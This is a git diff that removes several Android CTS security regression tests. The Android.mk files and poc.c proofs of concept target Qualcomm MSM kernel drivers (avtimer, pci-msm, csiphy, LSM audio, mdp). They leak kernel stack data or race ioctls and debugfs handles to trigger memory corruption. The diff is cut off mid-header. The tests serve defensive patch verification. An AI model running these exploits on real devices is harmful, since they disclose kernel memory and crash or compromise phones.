-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-32551280
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-32551280/poc.c b/hostsidetests/security/securityPatch/Bug-32551280/poc.c
deleted file mode 100644
index 5d852c7..0000000
--- a/hostsidetests/security/securityPatch/Bug-32551280/poc.c
+++ /dev/null
@@ -1,89 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define MAJOR_NUM 100
-
-#define IOCTL_GET_AVTIMER_TICK _IOR(MAJOR_NUM, 0, uint64_t)
-
-static int subsystem_get(void) {
-  int fd, ret;
-  unsigned long buf;
-  char *cmd[3] = {"get", "put", "restart"};
-
-  fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
-  if (fd == -1) {
-    return -1;
-  }
-
-  ret = write(fd, cmd[0], sizeof("get"));
-
-  close(fd);
-
-  return 0;
-}
-
-static int subsystem_put(void) {
-  int fd, ret;
-  unsigned long buf;
-  char *cmd[3] = {"get", "put", "restart"};
-
-  fd = open("/sys/kernel/debug/msm_subsys/adsp", O_RDWR);
-  if (fd == -1) {
-    return -1;
-  }
-
-  ret = write(fd, cmd[1], sizeof("put"));
-
-  close(fd);
-
-  return 0;
-}
-
-int main(void) {
-  int fd, ret = 0, cmd;
-  unsigned long avtimer_tick = 0;
-
-  fd = open("/dev/avtimer", O_RDWR);
-  if (fd == -1) {
-    return -1;
-  }
-
-  subsystem_put();
-
-  cmd = IOCTL_GET_AVTIMER_TICK;
-  ret = ioctl(fd, cmd, &avtimer_tick);
-
-  printf("[+] get 64 bits kernel stack information: 0x%lx\n", avtimer_tick);
-  printf("[+] restore subsystem\n\n");
-
-  subsystem_get();
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
deleted file mode 100644
index 17af326..0000000
--- a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33039685
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/poc.c b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
deleted file mode 100644
index e9938c5..0000000
--- a/hostsidetests/security/securityPatch/Bug-33039685/poc.c
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-char *pci_msm_path = "/sys/kernel/debug/pci-msm/";
-
-#define SIZE 64
-
-int write_file(int fd, char *str) {
-  int ret;
-  ret = write(fd, str, SIZE);
-  return 0;
-}
-
-int open_file(char *filename) {
-  int fd;
-  char file[125] = {0};
-
-  sprintf(file, "%s%s", pci_msm_path, filename);
-
-  fd = open(file, O_RDWR);
-  if (fd < 0) {
-    exit(1);
-  }
-  return fd;
-}
-
-void set_aer_enable() {
-  int fd;
-  char buf[SIZE] = {0};
-
-  fd = open_file("aer_enable");
-
-  write_file(fd, buf);
-
-  close(fd);
-}
-
-void set_wr_offset() {
-  int fd;
-  char buf[SIZE] = {0};
-
-  fd = open_file("wr_offset");
-
-  sprintf(buf, "%s", "9999999");
-
-  write_file(fd, buf);
-
-  close(fd);
-}
-
-void set_test_case() {
-  int fd;
-  char buf[SIZE] = {0};
-  buf[0] = '1';
-  buf[1] = '2';
-
-  fd = open_file("case");
-
-  write_file(fd, buf);
-
-  close(fd);
-}
-
-void set_base_sel() {
-  int fd;
-  char buf[SIZE] = {0};
-  buf[0] = '1';
-
-  fd = open_file("base_sel");
-
-  write_file(fd, buf);
-
-  close(fd);
-}
-
-int main(int argc, char *argv[]) {
-  set_wr_offset();
-  set_base_sel();
-  set_test_case();
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
deleted file mode 100644
index 6ba7ed9..0000000
--- a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33299365
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/poc.c b/hostsidetests/security/securityPatch/Bug-33299365/poc.c
deleted file mode 100644
index ba15435..0000000
--- a/hostsidetests/security/securityPatch/Bug-33299365/poc.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
-  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-enum csiphy_cfg_type_t {
-  CSIPHY_INIT,
-  CSIPHY_CFG,
-  CSIPHY_RELEASE,
-};
-
-struct msm_camera_csiphy_params {
-  unsigned char lane_cnt;
-  unsigned char settle_cnt;
-  unsigned short lane_mask;
-  unsigned char combo_mode;
-  unsigned char csid_core;
-  unsigned int csiphy_clk;
-};
-
-struct msm_camera_csi_lane_params {
-  uint16_t csi_lane_assign;
-  uint16_t csi_lane_mask;
-};
-
-struct csiphy_cfg_data {
-  enum csiphy_cfg_type_t cfgtype;
-  union {
-    struct msm_camera_csiphy_params *csiphy_params;
-    struct msm_camera_csi_lane_params *csi_lane_params;
-  } cfg;
-};
-#define VIDIOC_MSM_CSIPHY_IO_CFG \
-  _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct csiphy_cfg_data)
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  return ret;
-}
-
-volatile int v4lfd;
-
-#define TRY_TIMES 10
-int main(int argc, char *argv[]) {
-  int i, j, ret;
-  char buf[PAGE_SIZE] = {0};
-  struct csiphy_cfg_data cfg = {0};
-  struct msm_camera_csi_lane_params lane = {.csi_lane_mask = 0xFFFF};
-  struct msm_camera_csiphy_params csi;
-  char CSIPHY[32] = {0};
-
-  /* bind_cpu */
-  set_affinity(0);
-  for (i = 0; i < 32; i++) {
-    if (snprintf(CSIPHY, sizeof(CSIPHY), "/dev/v4l-subdev%d", i) < 0) {
-      exit(EXIT_FAILURE);
-    }
-
-    v4lfd = open(CSIPHY, O_RDONLY);
-
-    // init
-    cfg.cfgtype = CSIPHY_INIT;
-    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
-      close(v4lfd);
-      continue;
-    }
-
-    csi.lane_mask = 0xFFFF;
-    csi.lane_cnt = 1;
-    cfg.cfgtype = CSIPHY_CFG;
-    cfg.cfg.csiphy_params = &csi;
-    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
-      close(v4lfd);
-      continue;
-    }
-
-    // deinit
-    cfg.cfgtype = CSIPHY_RELEASE;
-    cfg.cfg.csi_lane_params = &lane;
-    if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
-      close(v4lfd);
-      continue;
-    }
-
-    close(v4lfd);
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
deleted file mode 100644
index 9c61dc0..0000000
--- a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33452365
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
deleted file mode 100644
index e6755a9..0000000
--- a/hostsidetests/security/securityPatch/Bug-33452365/poc.c
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <time.h>
-
-#define THREAD_NUM	600
-#define DEV "/dev/snd/pcmC0D16c"
-
-typedef _Bool bool;
-
-enum lsm_app_id {
-    LSM_VOICE_WAKEUP_APP_ID = 1,
-    LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
-};
-
-enum lsm_detection_mode {
-    LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
-    LSM_MODE_USER_KEYWORD_DETECTION
-};
-
-enum lsm_vw_status {
-    LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
-    LSM_VOICE_WAKEUP_STATUS_DETECTED,
-    LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
-    LSM_VOICE_WAKEUP_STATUS_REJECTED
-};
-
-enum LSM_PARAM_TYPE {
-    LSM_ENDPOINT_DETECT_THRESHOLD = 0,
-    LSM_OPERATION_MODE,
-    LSM_GAIN,
-    LSM_MIN_CONFIDENCE_LEVELS,
-    LSM_REG_SND_MODEL,
-    LSM_DEREG_SND_MODEL,
-    LSM_CUSTOM_PARAMS,
-    LSM_PARAMS_MAX,
-};
-
-struct snd_lsm_ep_det_thres {
-    __u32 epd_begin;
-    __u32 epd_end;
-};
-
-struct snd_lsm_detect_mode {
-    enum lsm_detection_mode mode;
-    bool detect_failure;
-};
-
-struct snd_lsm_gain {
-    __u16 gain;
-};
-
-struct snd_lsm_sound_model_v2 {
-    __u8 __user *data;
-    __u8 *confidence_level;
-    __u32 data_size;
-    enum lsm_detection_mode detection_mode;
-    __u8 num_confidence_levels;
-    bool detect_failure;
-};
-
-struct snd_lsm_session_data {
-    enum lsm_app_id app_id;
-};
-
-struct snd_lsm_event_status {
-    __u16 status;
-    __u16 payload_size;
-    __u8 payload[0];
-};
-
-struct snd_lsm_detection_params {
-    __u8 *conf_level;
-    enum lsm_detection_mode detect_mode;
-    __u8 num_confidence_levels;
-    bool detect_failure;
-};
-
-struct lsm_params_info {
-    __u32 module_id;
-    __u32 param_id;
-    __u32 param_size;
-    __u8 __user *param_data;
-    enum LSM_PARAM_TYPE param_type;
-};
-
-struct snd_lsm_module_params {
-    __u8 __user *params;
-    __u32 num_params;
-    __u32 data_size;
-};
-
-struct snd_lsm_output_format_cfg {
-    __u8 format;
-    __u8 packing;
-    __u8 events;
-    __u8 mode;
-};
-
-#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
-#define SNDRV_LSM_EVENT_STATUS  _IOW('U', 0x02, struct snd_lsm_event_status)
-#define SNDRV_LSM_ABORT_EVENT   _IOW('U', 0x03, int)
-#define SNDRV_LSM_START     _IOW('U', 0x04, int)
-#define SNDRV_LSM_STOP      _IOW('U', 0x05, int)
-#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
-#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
-                    struct snd_lsm_sound_model_v2)
-#define SNDRV_LSM_LAB_CONTROL   _IOW('U', 0x08, uint32_t)
-#define SNDRV_LSM_STOP_LAB  _IO('U', 0x09)
-#define SNDRV_LSM_SET_PARAMS    _IOW('U', 0x0A, \
-                    struct snd_lsm_detection_params)
-#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
-                    struct snd_lsm_module_params)
-
-int fd;
-pthread_t thread_id[THREAD_NUM+1] = { 0 };
-int thread_ret[THREAD_NUM] = { 0 };
-int attack = 0;
-
-struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
-struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
-struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
-unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
-unsigned char confidence_level_1[4] = "123";
-unsigned char confidence_level_2[20] = "12345678";
-
-static int set_affinity(int num)
-{
-    int ret = 0;
-    cpu_set_t mask;
-    CPU_ZERO(&mask);
-    CPU_SET(num, &mask);
-    ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-
-    return ret;
-}
-
-void* child_ioctl_0()
-{
-    set_affinity(1);
-    snd_model_v2_1.data = snd_data;
-    snd_model_v2_1.data_size = sizeof(snd_data);
-    snd_model_v2_1.confidence_level = confidence_level_1;
-    snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
-    snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
-    snd_model_v2_1.detect_failure = 1;
-
-    while(1){
-	ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
-    }
-}
-
-void* child_ioctl_1()
-{
-    set_affinity(2);
-    snd_model_v2_2.data = snd_data;
-    snd_model_v2_2.data_size = sizeof(snd_data);
-    snd_model_v2_2.confidence_level = confidence_level_2;
-    snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
-    snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
-    snd_model_v2_2.detect_failure = 1;
-
-    snd_params.num_confidence_levels = 20;
-    snd_params.conf_level = confidence_level_2;
-    snd_params.detect_failure = 1;
-    snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
-
-    while(1){
-	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
-	ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
-    }
-}
-
-int main()
-{
-    int i, ret;
-
-    set_affinity(0);
-
-    fd = open(DEV,O_RDWR);
-    if(fd == -1){
-	return -1;
-    }
-
-    ret = ioctl(fd, SNDRV_LSM_START, 0);
-    if(ret)
-	return -1;
-
-    for(i = 0; i < 300; i = i + 2){
-	thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
-	thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
-    }
-
-    i = 0;
-    attack = 1;
-    while(100){
-	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
-    }
-    attack = 0;
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
deleted file mode 100644
index f708aaf..0000000
--- a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := Bug-33863407

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-33863407/poc.c b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
deleted file mode 100644
index 5b2c95e..0000000
--- a/hostsidetests/security/securityPatch/Bug-33863407/poc.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <asm/ioctl.h>
-#include <pthread.h>
-
-#define DEBUG
-#ifdef DEBUG
-#define LOG(fmt, ...) do { \
-        printf("%s:%d: "fmt "\n", __FUNCTION__, \
-        __LINE__, ##__VA_ARGS__); \
-} while (0)
-#else
-#define LOG(fmt, ...)
-#endif
-
-char *infopath = "/sys/kernel/debug/mdp/reg";
-int fd1 = -1;
-int fd2 = -1;
-
-#define SIZE 2048
-
-void Thread1(void)
-{
-    int ret;
-    char buf[SIZE] = {0};
-    fd1 = open(infopath, O_RDWR);
-    while (1) {
-        ret = read(fd1, buf, SIZE);
-        sleep(0.1);
-    }
-    close(fd1);
-}
-
-void Thread2(void)
-{
-    int i;
-    while(1) {
-        fd2 = open(infopath, O_RDWR);
-        if(fd2 > 0)
-        {
-            close(fd2);
-            fd2 = -1;
-        }
-        sleep(0.1);
-    }
-}
-
-void trigger()
-{
-    int i, ret;
-    pthread_t tid_a;
-    pthread_t tid_b;
-
-    ret = pthread_create((pthread_t *) &tid_a, NULL, (void *) Thread1, NULL);
-    ret = pthread_create((pthread_t *) &tid_b, NULL, (void *) Thread2, NULL);
-
-    i = 200;
-    do {
-        sleep(1);
-    } while(i-- > 0);
-
-    pthread_join(tid_a, NULL);
-    pthread_join(tid_b, NULL);
-}
-
-int main()
-{
-    trigger();
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
deleted file mode 100644
index a64a37c..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34173755
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
deleted file mode 100644
index d2508dd..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS     8
-#define _IOC_TYPEBITS   8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS  14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS   2
-#endif
-
-#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT    0
